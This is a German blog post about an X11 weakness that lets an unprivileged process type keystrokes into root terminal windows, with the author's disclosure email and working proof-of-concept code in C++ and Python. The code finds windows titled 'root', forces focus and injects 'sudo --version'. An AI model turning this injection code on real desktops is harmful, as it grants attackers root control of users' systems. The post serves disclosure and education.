![Vorschaubild](https://cdn.steemitimages.com/DQmXFDKzmYA5fnrVYPmQnaVFp9e2qVBt9Sdf67Nb38hFbZs/Vorschaubild.jpg) In den letzten Tagen wollte ich Linux Mint ausprobieren. Da ich von Windows komme und mich die ständige Passwortabfrage gestört hat, habe ich überlegt, **PAM** und **Polkit** für mich anzupassen, sodass, ähnlich wie bei der Windows-UAC, das Passwort mit einem einfachen "Okay" bestätigt werden kann – also nur durch den Benutzer oder ein Programm, das die angeforderten Berechtigungen besitzt. Nachdem ich in **PAM** ein neues Modul hinzugefügt hatte, das eine Meldung mit einem Rückgabewert anzeigt, wollte ich dieses natürlich auch später vor Programmen ohne Root-Rechte schützen. Dabei wurde mir ein Sicherheitsproblem bewusst, das mit **X.Org** besteht, welches für die Anzeige der GUI, des Desktops und der Fenster zuständig ist. Bei **X.Org** gibt es keine Möglichkeit, Fenster vor Interaktionen durch Prozesse mit niedrigeren Privilegien zu schützen. Das bedeutet, dass es einem Angreifer möglich wäre, sein Programm als gewöhnlicher Nutzer ohne Root-Rechte zu starten und dann einfach darauf zu warten, dass der Benutzer beispielsweise eine Bash-Sitzung mit **sudo** als Root ausführt, um Eingaben in diese Sitzung zu tätigen. Ein anderes Fenster, wie etwa **Nemo** als Systemverwalter, wäre natürlich auch möglich. Ja, **X.Org** ist in die Jahre gekommen und wird nur noch bei Sicherheitslücken aktualisiert. Unter Windows dürfen im User-Mode ohne Admin keine virtuellen Mausereignisse oder Tastaturanschläge an höher privilegierte Prozesse gesendet werden – diese Absicherung fehlt unter **X.Org** vollständig. Es wäre fast besser, diese Funktion zu deaktivieren; allerdings müsste dafür noch viel an **X.Org** entwickelt werden, und Programme wie die Bildschirmtastatur würden ohne großen Aufwand nicht mehr funktionieren. Diese Probleme sind auch von experimentellen **Wayland**-Oberflächen bekannt, bei denen das System noch nicht an das Berechtigungssystem angepasst wurde. **X.Org** hat auch keinen Schutz gegen das unautorisierte Abgreifen des Bildes von einem Programm. **Wayland** hat hier Verbesserungen eingeführt und ein Berechtigungssystem hinzugefügt. Für alle, die nicht wissen, was **Root** auf einem Linux-System bedeutet: Mit Root hat man praktisch sehr leicht Zugriff auf Ring 0 (den Kernel). --- **Berechtigungsebenen unter Linux:** - **Ring 3:** User Mode – Dies ist die Ebene, auf der normale Benutzeranwendungen laufen (z. B. Texteditoren, Webbrowser). In diesem Modus haben Anwendungen eingeschränkte Berechtigungen. Sie können nicht direkt auf Hardware oder kritische Systemressourcen zugreifen, sondern müssen dafür Systemaufrufe (Syscalls) verwenden, die vom Kernel bereitgestellt werden. - **Ring 2 und Ring 1:** Diese Ringe werden auch unter Linux normalerweise nicht aktiv genutzt. Sie könnten theoretisch für Treiber oder ähnliche Funktionen verwendet werden, aber die meisten modernen Betriebssysteme, einschließlich Linux, verwenden sie nicht. Alle Treiber unter Linux laufen in der Regel entweder im User Mode (Ring 3) oder im Kernel Mode (Ring 0). - **Ring 0:** Kernel Mode – In diesem Ring läuft der Linux-Kernel. Hier hat das Betriebssystem uneingeschränkten Zugriff auf die Hardware und die niedrigstufigen Systemressourcen. Kernel-Code (z. B. Treiber, Systemaufruf-Implementierungen) läuft auf dieser Ebene und kann direkt auf Speicher und Hardware zugreifen. Zusätzlich gibt es in virtuellen Umgebungen und modernen Systemen: - **Ring -1:** Hypervisor – Diese Ebene wird verwendet, wenn Linux in einer virtuellen Maschine läuft. Ein Hypervisor verwaltet die Virtualisierung und ermöglicht es, dass mehrere Betriebssysteme (Gäste) gleichzeitig auf einem Host-System laufen. Der Hypervisor hat direkten Zugriff auf die physische Hardware und kontrolliert die Zuweisung von Ressourcen an die virtuellen Maschinen. - **Ring -2:** System Management Mode (SMM) – Dies ist eine spezielle Betriebsart für sehr niedrige, hardwarebezogene Aufgaben wie Energieverwaltung, Fehlerbehandlung oder andere Firmware-Operationen. Dieser Modus wird durch die CPU und die Firmware (z. B. BIOS oder UEFI) kontrolliert und läuft unterhalb aller Betriebssystemschichten. Linux oder ein anderes Betriebssystem hat normalerweise keinen direkten Zugriff auf diesen Modus, da er vom Systemmanagement unabhängig verwaltet wird. --- Unter Linux sind die Ringe also größtenteils auf **Ring 3 (User Mode)** und **Ring 0 (Kernel Mode)** beschränkt. Die anderen Ringe sind theoretisch möglich, werden jedoch meistens nur in sehr speziellen Fällen (wie Virtualisierung oder Hardware-Management) genutzt. Mit Root erhalten wir die Möglichkeit, vom **Ring 3** aus Systemaufrufe an den Kernel im **Ring 0** zu senden. Ich habe dieses Problem natürlich auch dem Entwickler gemeldet, bin aber davon ausgegangen, dass es durch die Existenz von **Wayland** bereits bekannt ist. Nach mehr als zwei Wochen habe ich keine Antwort erhalten, also denke ich, es ist bekannt und nicht relevant. **Text der E-Mail:** ``` Description: While developing a feature to replace password prompts with user-specific notifications using PMA and Polkit, I discovered a significant security vulnerability in X11 environments. The issue arises from the fact that even GUI applications running as root are not protected from interaction by user-mode processes. During my research on X11, I found that a malicious process could be executed in user mode and simply wait for the user to open a terminal with root privileges. This process can then determine if a GNOME terminal (or similar GUI) has access to sudo or is running a child process as root. The attacker can send commands to the minimized window or even cover their activities with a screenshot. This all happens within a second, allowing the malicious process to execute commands as root by leveraging the root Bash session, initiated without the user's explicit awareness. While I understand that Wayland aims to address such vulnerabilities by introducing stricter isolation between processes, I wanted to bring this issue to your attention. My goal is to understand whether you are aware of this specific vulnerability and if any mitigation strategies are planned for X11, besides the transition to Wayland. Thank you for considering this security concern. I look forward to any insights you can provide. sudo apt-get install libx11-dev libxtst-dev g++ -o find_and_type pentest.cpp -lX11 -lXtst Run ./find_and_type in usermode. Run a new bash and type sudo su. The "./find_and_type " program will attempt to type "sudo --version" into the terminal window that has root access. ``` Der Test wurde einmal mit Python und einmal mit C++ geschrieben. Ich frage einfach nur ab, wie die Fensternamen sind. Wenn ich ein Fenster mit "root" im Namen finde, wird dieses Fenster in den Vordergrund gesetzt (**XSetInputFocus()**). Das bemerkt der Nutzer kaum und es funktioniert sogar, wenn das Fenster minimiert ist. Danach sende ich einfach mit der Funktion **XTestFakeKeyEvent()** meine Tastatureingaben an das Programm. Mausbewegungen wären natürlich auch möglich, aber das hat sich in meinem Fall als unnötig herausgestellt, da ich das Fenster bereits in den Vordergrund setze. Es gibt auch eine Möglichkeit, mit **XSendEvent()** direkt an ein Fenster zu senden, was mir jedoch nicht gelungen ist. Man kann natürlich auch ohne die Fensternamen herausfinden, ob die GUI eines Terminals als Root läuft, aber ich wollte eine schnelle Lösung, teils erstellt mit ChatGPT, nur als Machbarkeitsbeweis. **Testcode in C++:** ``` #include #include #include #include #include #include #include #include #include #include // für memset #include // für sleep // Funktion zum Ausführen eines Befehls und Abrufen der Ausgabe std::string exec(const char* cmd) { char buffer[128]; std::string result; FILE* pipe = popen(cmd, "r"); if (!pipe) { throw std::runtime_error("popen() fehlgeschlagen!"); } while (fgets(buffer, sizeof(buffer), pipe) != nullptr) { result += buffer; } pclose(pipe); return result; } // Fensterstruktur definieren struct WindowInfo { Window id; // Ändere von std::string auf Window int x, y, width, height; std::string title; }; // Fensterinformationen abrufen std::vector get_windows() { std::vector windows; std::string output = exec("wmctrl -lG"); std::istringstream stream(output); std::string line; while (std::getline(stream, line)) { std::istringstream line_stream(line); std::vector parts; std::string part; while (line_stream >> part) { parts.push_back(part); } if (parts.size() >= 9) { try { WindowInfo info; info.id = std::stoul(parts[0], nullptr, 16); // Konvertiere Hex-String zu Window-ID info.x = std::stoi(parts[2]); info.y = std::stoi(parts[3]); info.width = std::stoi(parts[4]); info.height = std::stoi(parts[5]); info.title = parts[7]; for (size_t i = 9; i < parts.size(); ++i) { info.title += " " + parts[i]; } windows.push_back(info); } catch (const std::invalid_argument& e) { std::cerr << "Fehler beim Parsen von Ganzzahlen: " << e.what() << std::endl; } } } return windows; } void send_text_direct(Display* display, Window win, const std::string& text) { XEvent event; memset(&event, 0, sizeof(event)); // Setze die Eingabefilter auf das Fenster, um sicherzustellen, dass es Eingaben erhält XSelectInput(display, win, KeyPressMask | KeyReleaseMask); for (char c : text) { KeySym keysym; if (c == ' ') { keysym = XK_space; } else if (c == '-') { keysym = XK_minus; } else { keysym = XStringToKeysym(std::string(1, c).c_str()); } if (keysym == NoSymbol) { std::cerr << "Unbekanntes Zeichen: " << c << std::endl; continue; } KeyCode keycode = XKeysymToKeycode(display, keysym); event.type = KeyPress; event.xkey.display = display; event.xkey.window = win; event.xkey.root = DefaultRootWindow(display); event.xkey.subwindow = None; event.xkey.time = CurrentTime; event.xkey.keycode = keycode; event.xkey.same_screen = True; // Sende KeyPress-Ereignis XSendEvent(display, win, True, KeyPressMask, &event); XFlush(display); // Sende KeyRelease-Ereignis event.type = KeyRelease; XSendEvent(display, win, True, KeyReleaseMask, &event); XFlush(display); } // Sende Enter-Taste KeySym enterKey = XK_Return; KeyCode enterCode = XKeysymToKeycode(display, enterKey); event.xkey.keycode = enterCode; // Sende KeyPress-Ereignis für Enter event.type = KeyPress; XSendEvent(display, win, True, KeyPressMask, &event); XFlush(display); // Sende KeyRelease-Ereignis für Enter event.type = KeyRelease; XSendEvent(display, win, True, KeyReleaseMask, &event); XFlush(display); } // Funktion zum Senden von Text an ein Fenster void send_text(Display* display, Window win, const std::string& text) { for (char c : text) { KeySym keysym; if (c == ' ') { keysym = XK_space; } else if (c == '-') { keysym = XK_minus; } else { keysym = XStringToKeysym(std::string(1, c).c_str()); } if (keysym == NoSymbol) { std::cerr << "Unbekanntes Zeichen: " << c << std::endl; continue; } KeyCode keycode = XKeysymToKeycode(display, keysym); // KeyPress XTestFakeKeyEvent(display, keycode, True, 0); XFlush(display); // KeyRelease XTestFakeKeyEvent(display, keycode, False, 0); XFlush(display); } // Sende Enter-Taste KeySym enterKey = XK_Return; KeyCode enterCode = XKeysymToKeycode(display, enterKey); XTestFakeKeyEvent(display, enterCode, True, 0); XFlush(display); XTestFakeKeyEvent(display, enterCode, False, 0); XFlush(display); } int main() { Display* display = XOpenDisplay(nullptr); if (!display) { std::cerr << "Fehler beim Öffnen des X Displays" << std::endl; return 1; } std::string title_substr = "root"; bool found = false; while (true) { auto windows = get_windows(); for (const auto& win : windows) { if (win.title.find(title_substr) != std::string::npos) { std::cout << "Gefundenes Fenster: ID=" << win.id << ", Position=(" << win.x << ", " << win.y << ")" << ", Titel: " << win.title << std::endl; // Setze den Fokus auf das Fenster, falls es noch nicht fokussiert ist XSetInputFocus(display, win.id, RevertToParent, CurrentTime); XFlush(display); // Rufe die korrekte Funktion zum Senden von Text auf send_text(display, win.id, "sudo --version"); found = true; break; } } if (found) { std::cout << "Befehl gesendet. Warte auf den nächsten Versuch." << std::endl; found = false; // Setze auf false für den nächsten Suchlauf } else { std::cout << "Kein passendes Fenster gefunden. Suche fortsetzen..." << std::endl; } sleep(1); // Warte 1 Sekunde bevor der nächste Suchlauf startet } XCloseDisplay(display); return 0; } ``` [Mint braucht Wayland C++](https://cdn.steemitimages.com/DQmTTeZyRg28UTT7HWvCgWaEo5SrCB8b1A8CEa7XVUFEL9D/Mint%20braucht%20Wayland%20C++.mp4) **Testcode in Python:** ``` import subprocess import pyautogui import time def get_window_position(title_substr): try: # Fenster mit wmctrl suchen result = subprocess.check_output(['wmctrl', '-lG']).decode() for line in result.splitlines(): print(f"Zeile: {line}") parts = line.split() print(f"Teile: {parts}") # Fenster-ID und Titel extrahieren win_id = parts[0] # Titel kann mehrere Teile haben; den Rest der Zeile als Titel verwenden win_title = ' '.join(parts[7:]) print(f"Fenstertitel: {win_title}") # Überprüfen, ob der Titel den Suchbegriff enthält if title_substr in win_title: x = int(parts[2]) y = int(parts[3]) print(f"Gefundenes Fenster: ID={win_id}, Position=({x}, {y})") return x, y print("Fenster nicht gefunden") return None except subprocess.CalledProcessError as e: print(f"Fehler bei der Ausführung von wmctrl: {e}") return None def main(): window_title_substr = "root" # Teil des Fenstertitels position = get_window_position(window_title_substr) if position is None: return x_pos, y_pos = position # Maus bewegen und klicken pyautogui.moveTo(x_pos + 100, y_pos + 100) # Beispielkoordinaten pyautogui.click() # Text eingeben time.sleep(1) # Warte, um sicherzustellen, dass das Fenster aktiv ist pyautogui.write('sudo --version') pyautogui.press('enter') if __name__ == "__main__": main() ``` [Mint braucht Wayland Python](https://cdn.steemitimages.com/DQmasHoBmFJL5Jigf2R4xVXbZd4x7H8h82vnMexeekVxdbZ/Mint%20braucht%20Wayland%20Python.mp4) Da ich von diesem Problem nicht begeistert war, habe ich mich dazu entschlossen, etwas Aufklärungsarbeit in einem Artikel zu leisten. Aus meinem UAC-Meldungsnachbau für Linux wird also nichts, bis Mint Wayland fehlerfrei unterstützt. Ich habe mich jetzt dazu entschieden, einfach über eine Polkit-Regel für Root und Sudo-Gruppen die Passworteingabe zu deaktivieren und in **PAM** mein Modul mit der Abfrage einfach ohne Schutz zu belassen. Letztlich kann jeder Angreifer einfach warten, bis ich eine Bash als Root öffne – und das kommt bei mir nicht selten vor. Dann kann er den Befehl sogar in kürzester Zeit senden, während die Bash minimiert ist oder ein Screenshot über die Anwendung zeichnen, und sich selbst als Root starten. Die momentan einzige Möglichkeit, sich gegen diesen Angriff zu wehren, ist, keinen Nutzer als Systemverwalter in der Sudo-Gruppe zu haben. Ich halte es aber für höchst unwahrscheinlich, dass sich jemand diese Einschränkung auferlegen möchte. Eine andere Möglichkeit für die Entwickler wäre, die Funktion, um virtuelle Tasten- und Mausereignisse an Fenster zu senden, in **Wayland** zu deaktivieren. Ich finde jedoch, die beste Möglichkeit ist, **X.Org** einfach hinter sich zu lassen und auf **Wayland** zu setzen, das uns endlich unter dem Desktop echte Sicherheit mit einem Berechtigungssystem unter Linux bringt. [Artikel als Audio](https://cdn.steemitimages.com/DQmSz5UzFzq4D3w4tg546PBbtgPn58DiSa7q9Z2zFUHC9Cx/Artikel_als_Audio.opus)